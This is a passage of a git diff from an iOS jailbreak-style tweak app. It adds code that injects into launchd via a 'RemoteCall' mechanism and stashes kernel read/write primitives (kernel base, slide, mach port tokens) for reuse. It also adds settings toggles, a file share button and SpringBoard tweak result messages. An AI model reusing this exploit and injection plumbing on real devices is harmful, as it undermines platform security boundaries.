+ +static bool transfer_krw_to_launchd_ios16(void) { + PERSIST_LOG("transfer begin\n"); + RemoteCall *proc = [[RemoteCall alloc] initWithProcess:@"launchd" useMigFilterBypass:NO]; + if (!proc) { + NSString *error = [RemoteCall lastInitError]; + PERSIST_LOG("Failed to create RemoteCall for launchd%s%s\n", + error.length ? ": " : "", + error.length ? error.UTF8String : ""); + return false; + } + + bool ok = false; + uint64_t mem = proc.trojanMem; + mach_port_t control_socketPort = MACH_PORT_NULL; + mach_port_t rw_socketPort = MACH_PORT_NULL; + NSString *serviceSuffix = [NSUUID UUID].UUIDString; + NSString *controlPortName = [NSString stringWithFormat:@"%s.%@", CONTROL_PORT_NAME, serviceSuffix]; + NSString *rwPortName = [NSString stringWithFormat:@"%s.%@", RW_PORT_NAME, serviceSuffix]; + const char *controlName = controlPortName.UTF8String; + const char *rwName = rwPortName.UTF8String; + NSString *controlToken = nil; + NSString *rwToken = nil; + NSMutableDictionary *primitive = nil; + + if (!persist_issue_and_consume_mach_extension(proc, mem, APP_MACH_REGISTER, controlName) || + !persist_issue_and_consume_mach_extension(proc, mem, APP_MACH_REGISTER, rwName)) { + goto out; + } + + fileport_makeport(control_socket, &control_socketPort); + fileport_makeport(rw_socket, &rw_socketPort); + if (control_socketPort == MACH_PORT_NULL || rw_socketPort == MACH_PORT_NULL) { + PERSIST_LOG("fileport_makeport failed control=0x%x rw=0x%x\n", control_socketPort, rw_socketPort); + goto out; + } + + if (!persist_register_bootstrap_port(controlName, control_socketPort) || + !persist_register_bootstrap_port(rwName, rw_socketPort)) { + goto out; + } + + controlToken = persist_issue_remote_mach_lookup_token(proc, mem, controlName); + rwToken = persist_issue_remote_mach_lookup_token(proc, mem, rwName); + if (controlToken.length == 0 || rwToken.length == 0) { + goto out; + } + + primitive = [NSMutableDictionary dictionary]; + primitive[@"KernelBase"] = @(kernel_base); + primitive[@"KernelSlide"] = @(kernel_slide); + primitive[@"LaunchdProcAddr"] = @(procbypid(1)); + primitive[@"ControlPort"] = controlToken; + primitive[@"RWPort"] = rwToken; + primitive[@"ControlPortName"] = controlPortName; + primitive[@"RWPortName"] = rwPortName; + + NSLog(@"Primitive: %@", primitive); + [NSUserDefaults.standardUserDefaults setObject:primitive forKey:@"KRWPrimitive"]; + [NSUserDefaults.standardUserDefaults synchronize]; + ok = true; + +out: + if (!ok) { + PERSIST_LOG("failed to transfer KRW primitives to launchd\n"); + } + [proc destroyRemoteCall]; + return ok; +} diff --git a/lara/lara-Bridging-Header.h b/lara/lara-Bridging-Header.h index ce206317..63f228d5 100644 --- a/lara/lara-Bridging-Header.h +++ b/lara/lara-Bridging-Header.h @@ -16,6 +16,7 @@ #import "IconServices.h" #import "rc.h" #import "RemoteCall.h" +#import "persistence.h" #import diff --git a/lara/lara.swift b/lara/lara.swift index ccfcd156..801c783a 100644 --- a/lara/lara.swift +++ b/lara/lara.swift @@ -133,6 +133,10 @@ struct lara: App { private func handlebg() { guard mgr.rcready else { return } + let keepSpringBoardRemoteCallAlive = UserDefaults.standard.bool(forKey: "keepSpringBoardRemoteCallAliveIOS16") + if isIOS16() && keepSpringBoardRemoteCallAlive { + return + } var bgTask: UIBackgroundTaskIdentifier = .invalid diff --git a/lara/views/app/ContentView.swift b/lara/views/app/ContentView.swift index 6a20e092..0d87f879 100644 --- a/lara/views/app/ContentView.swift +++ b/lara/views/app/ContentView.swift @@ -230,17 +230,28 @@ struct ContentView: View { } header: { HeaderLabel(text: "RemoteCall", icon: "syringe") } footer: { - if let error = mgr.rcLastError ?? mgr.sbProc?.lastError { - Text("Error: \(error)") - .foregroundColor(.red) - } - if RemoteCall.isLiveContainerRuntime() && !RemoteCall.isLiveProcessRuntime() { - Text("RemoteCall needs a PAC-enabled LiveContainer launch context. The main exploit may still work when RemoteCall is unavailable.") - } - if isdebugged() { - Text("Not available when a debugger is attached.") + VStack(alignment: .leading, spacing: 4) { + if let error = mgr.rcLastError ?? mgr.sbProc?.lastError { + Text("Error: \(error)") + .foregroundColor(.red) + } + if RemoteCall.isLiveContainerRuntime() && !RemoteCall.isLiveProcessRuntime() { + Text("RemoteCall needs a PAC-enabled LiveContainer launch context. The main exploit may still work when RemoteCall is unavailable.") + } + if isdebugged() { + Text("Not available when a debugger is attached.") + } + Text("RemoteCall is relatively unstable and may not work properly.") + if isIOS16() { + Text("iOS 16 tip: Open Control Center after tapping Initialize RemoteCall. This significantly improves the success rate and speed.") + .fontWeight(.semibold) + .foregroundColor(.orange) + Text("If initialization fails after about 2 minutes, respring, relaunch Lara, and try again.") + .fontWeight(.semibold) + .foregroundColor(.red) + } } - Text("RemoteCall is relatively unstable and may not work properly.") + .font(.footnote) } #endif } diff --git a/lara/views/app/settings/SettingsView.swift b/lara/views/app/settings/SettingsView.swift index ccfd1b47..2a9b54de 100644 --- a/lara/views/app/settings/SettingsView.swift +++ b/lara/views/app/settings/SettingsView.swift @@ -33,11 +33,13 @@ struct SettingsView: View { @AppStorage("selectedMethod") private var selectedMethod: method = .hybrid @AppStorage("keepAlive") private var keepAlive: Bool = false @AppStorage("stashKRW") private var stashKRW: Bool = false + @AppStorage("keepSpringBoardRemoteCallAliveIOS16") private var keepSpringBoardRemoteCallAliveIOS16: Bool = false @State private var dlingkcache: Bool = false @State private var showkcacheimport: Bool = false @State private var importingkcache: Bool = false @State private var showkcachetips: Bool = false + @State private var stashingKRWNow: Bool = false @AppStorage("logsdisplaymode") private var selectedlogdisplaymode: logsdisplaymode = .toolbar @AppStorage("loggerNoBS") private var loggerNoBS: Bool = true @@ -204,6 +206,51 @@ struct SettingsView: View { #if !DISABLE_REMOTECALL Section(header: HeaderLabel(text: "RemoteCall", icon: "syringe")) { Toggle("Stash KRW primitives", isOn: $stashKRW) + .onChange(of: stashKRW) { enabled in + if enabled && isIOS16() { + Alertinator.shared.alert( + title: "iOS 16 Warning", + body: "Saving KRW on iOS 16 is currently unstable. If it fails, manually stash KRW a few more times." + ) + } + } + if isIOS16() { + Toggle("Keep SpringBoard RemoteCall alive in background", isOn: $keepSpringBoardRemoteCallAliveIOS16) + Text("Warning: If Lara exits while RemoteCall is active, SpringBoard may respring.") + .font(.footnote.weight(.semibold)) + .foregroundColor(.red) + + Button { + guard !stashingKRWNow else { return } + stashingKRWNow = true + mgr.stashKRWToLaunchd { success in + stashingKRWNow = false + if success { + Alertinator.shared.alert( + title: "KRW Stashed", + body: "KRW primitives were successfully stashed to launchd." + ) + } else { + let error = mgr.rcLastError ?? "Please try manually stashing KRW a few more times." + Alertinator.shared.alert( + title: "Failed to Stash KRW", + body: error + ) + } + } + } label: { + if stashingKRWNow { + HStack { + Text("Stashing KRW to launchd...") + Spacer() + ProgressView() + } + } else { + Text("Stash KRW to launchd now") + } + } + .disabled(!mgr.dsready || mgr.rcrunning || stashingKRWNow) + } Toggle("Allow >10 dock icons", isOn: $rcDockUnlimited) } #endif diff --git a/lara/views/fm/DirectoryView.swift b/lara/views/fm/DirectoryView.swift index 3786270f..ea86c286 100644 --- a/lara/views/fm/DirectoryView.swift +++ b/lara/views/fm/DirectoryView.swift @@ -166,6 +166,12 @@ struct santanderdirview: View { Label("Get Info", systemImage: "info.circle") } + Button { + share(entry) + } label: { + Label("Share", systemImage: "square.and.arrow.up") + } + Button { renameitem = entry } label: { @@ -604,6 +610,24 @@ struct santanderdirview: View { } } + @MainActor + private func share(_ entry: santanderitem) { + guard readsbx else { + msg = santandermsg(title: "Share Unavailable", text: "Share is only supported in SBX mode.") + return + } + guard !entry.isdir else { + msg = santandermsg(title: "Share Unavailable", text: "Sharing folders is not supported.") + return + } + guard FileManager.default.isReadableFile(atPath: entry.path) else { + msg = santandermsg(title: "Share Failed", text: "File is not readable.") + return + } + + presentShareSheet(with: URL(fileURLWithPath: entry.path)) + } + private func upload(_ url: URL) { guard readsbx else { msg = santandermsg(title: "Upload Unavailable", text: "Upload is only supported in SBX mode.") diff --git a/lara/views/tweaks/RemoteView.swift b/lara/views/tweaks/RemoteView.swift index 085dcfe2..2ac14365 100644 --- a/lara/views/tweaks/RemoteView.swift +++ b/lara/views/tweaks/RemoteView.swift @@ -113,7 +113,9 @@ struct RemoteView: View { Button { run("Apply Dock Columns=\(columns)") { let result = set_dock_icon_count(mgr.sbProc, Int32(columns)) - return "set_dock_icon_count(\(columns)) -> \(result)" + return result == 0 + ? "set_dock_icon_count(\(columns)) -> ok" + : "set_dock_icon_count(\(columns)) -> failed (\(result))" } } label: { Text("Apply Dock Columns") @@ -124,7 +126,9 @@ struct RemoteView: View { Button { run("Enable Upside Down") { let result = enable_upside_down(mgr.sbProc) - return "enable_upside_down() -> \(result)" + return result == 0 + ? "enable_upside_down() -> ok" + : "enable_upside_down() -> failed (\(result))" } } label: { Text("Enable Upside Down") @@ -135,7 +139,9 @@ struct RemoteView: View { Button { run("Enable Floating Dock") { let result = enable_floating_dock(mgr.sbProc) - return "enable_floating_dock() -> \(result)" + return result == 0 + ? "enable_floating_dock() -> ok" + : "enable_floating_dock() -> failed (\(result))" } } label: { Text("Enable Floating Dock") @@ -144,7 +150,9 @@ struct RemoteView: View { Button { run("Enable Grid App Switcher") { let result = enable_grid_app_switcher(mgr.sbProc) - return "enable_grid_app_switcher() -> \(result)" + return result == 0 + ? "enable_grid_app_switcher() -> ok" + : "enable_grid_app_switcher() -> failed (\(result))" } } label: { Text("Enable Grid App Switcher (Broken animation)") @@ -153,7 +161,9 @@ struct RemoteView: View { Button { run("Enable UIKit Debug Overlay") { let result = enable_debug_overlay(mgr.sbProc) - return "enable_debug_overlay() -> \(result)" + return result == 0 + ? "enable_debug_overlay() -> ok" + : "enable_debug_overlay() -> failed (\(result))" } } label: { Text("Enable UIKit Debug Overlay") @@ -522,11 +532,22 @@ struct RemoteView: View { DispatchQueue.main.async { self.mgr.logmsg("(rc) \(result)") onComplete?(result) + if self.isRemoteCallFailure(result) { + Alertinator.shared.alert(title: "\(name) Failed", body: result) + } self.running = false } } } + private func isRemoteCallFailure(_ result: String) -> Bool { + let lowercased = result.lowercased() + return lowercased.contains("-> -1") || + lowercased.contains("-> failed") || + lowercased.contains(": failed") || + lowercased.contains("failed to") + } + private func togglefreakydog() { guard mgr.rcready, let proc = mgr.sbProc else { return } diff --git a/scripts/build_ipa.sh b/scripts/build_ipa.sh index 71052cd5..cb166dc4 100755 --- a/scripts/build_ipa.sh +++ b/scripts/build_ipa.sh @@ -12,7 +12,7 @@ xcodebuild \ -scheme lara \ -configuration Debug \ -sdk iphoneos \ - -arch arm64 \ + -arch arm64e \ CODE_SIGNING_ALLOWED=NO \ CODE_SIGNING_REQUIRED=NO \ CODE_SIGN_IDENTITY="" \